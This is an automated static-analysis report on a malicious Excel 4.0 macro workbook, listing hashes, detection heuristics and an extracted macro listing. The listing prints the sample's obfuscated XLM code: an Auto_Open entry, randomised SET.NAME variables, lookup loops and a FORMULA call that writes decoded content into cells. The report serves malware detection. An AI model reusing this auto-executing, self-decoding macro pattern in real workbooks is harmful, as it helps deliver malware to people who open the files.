Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e6e4f97b379a6da0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:39 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 25b2f0cefc5e44c91e80b296d7bcaee3 SHA-1: 6d43eef883687d82ffd2fac93439d34d626a5ffe SHA-256: e6e4f97b379a6da081ffbf6a894736bafe3ff4fcb75baafd7d4a931b35a921df
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6545 bytes
SHA-256: def6e5e45256172689222f6aa49a78c1756d08d83b0545766022c4265e97b6c7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dvagzTNt
' 0018     21 LABEL : Cell Value, String Constant - AefZjq len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D131 
' 0018     22 LABEL : Cell Value, String Constant - BrNevFc len=0 
' 0018     20 LABEL : Cell Value, String Constant - CHzYz len=0 
' 0018     26 LABEL : Cell Value, String Constant - eDlvgGGxzhS len=0 
' 0018     22 LABEL : Cell Value, String Constant - EKfSesu len=0 
' 0018     25 LABEL : Cell Value, String Constant - EXKvvrRPKd len=0 
' 0018     25 LABEL : Cell Value, String Constant - ezVlkxUNWB len=0 
' 0018     21 LABEL : Cell Value, String Constant - faDqYU len=0 
' 0018     22 LABEL : Cell Value, String Constant - kzRIxkw len=0 
' 0018     20 LABEL : Cell Value, String Constant - mEJEh len=0 
' 0018     20 LABEL : Cell Value, String Constant - pIXsT len=0 
' 0018     20 LABEL : Cell Value, String Constant - PJVtK len=0 
' 0018     27 LABEL : Cell Value, String Constant - PrzpIAAFjNCi len=0 
' 0018     23 LABEL : Cell Value, String Constant - rUniVRkv len=0 
' 0018     24 LABEL : Cell Value, String Constant - TEtIKlAxv len=0 
' 0018     24 LABEL : Cell Value, String Constant - thWsPnWZA len=0 
' 0018     23 LABEL : Cell Value, String Constant - TQnMtRZe len=0 
' 0018     22 LABEL : Cell Value, String Constant - UsASUJr len=0 
' 0018     23 LABEL : Cell Value, String Constant - VOIjCOvK len=0 
' 0018     21 LABEL : Cell Value, String Constant - WKhOiU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dvagzTNt,D43,"SET.NAME("TEtIKlAxv",VALUE("0"))",""
'  dvagzTNt,D45,"SET.NAME("PrzpIAAFjNCi",TEtIKlAxv)",""
'  dvagzTNt,D48,"SET.NAME("rUniVRkv",TEtIKlAxv)",""
'  dvagzTNt,D53,"SET.NAME("EKfSesu",COUNTA(kzRIxkw))",""
'  dvagzTNt,D55,"SET.NAME("faDqYU",COUNTA(PJVtK))",""
'  dvagzTNt,D60,[],""
'  dvagzTNt,D65,"SET.NAME("UsASUJr","")",""
'  dvagzTNt,D67,"PrzpIAAFjNCi",""
'  dvagzTNt,D69,"SET.NAME("pIXsT",HLOOKUP("*",kzRIxkw,PrzpIAAFjNCi,FALSE))",""
'  dvagzTNt,D71,"ezVlkxUNWB",""
'  dvagzTNt,D76,"SET.NAME("CHzYz",TEtIKlAxv)",""
'  dvagzTNt,D78,[],""
'  dvagzTNt,D82,"CHzYz",""
'  dvagzTNt,D86,"VOIjCOvK",""
'  dvagzTNt,D91,"mEJEh",""
'  dvagzTNt,D96,"WKhOiU",""
'  dvagzTNt,D99,"SET.NAME("TQnMtRZe",VALUE(HLOOKUP("*",PJVtK,WKhOiU,FALSE)))",""
'  dvagzTNt,D103,"thWsPnWZA",""
'  dvagzTNt,D106,"UsASUJr",""
'  dvagzTNt,D109,"rUniVRkv",""
'  dvagzTNt,D112,NEXT(),""
'  dvagzTNt,D116,"AefZjq",""
'  dvagzTNt,D119,"SET.NAME("f",INT(T(FORMULA(T(UsASUJr)&"",""&T(AefZjq)))))",""
'  dvagzTNt,D121,"eDlvgGGxzhS",""
'  dvagzTNt,D126,NEXT(),""
'  dvagzTNt,D129,RETURN(),""
'  dvagzTNt,D157,"SET.NAME("EXKvvrRPKd",D43)",""
'  dvagzTNt,D161,"kzRIxkw",""
'  dvagzTNt,D165,"SET.NAME("PJVtK",R61C15)",""
'  dvagzTNt,D169,"SET.NAME("eDlvgGGxzhS",176)",""
'  dvagzTNt,D171,"SET.NAME("BrNevFc",4)",""
'  dvagzTNt,D175,EXKvvrRPKd(),""
'  dvagzTNt,D176,HALT(),""

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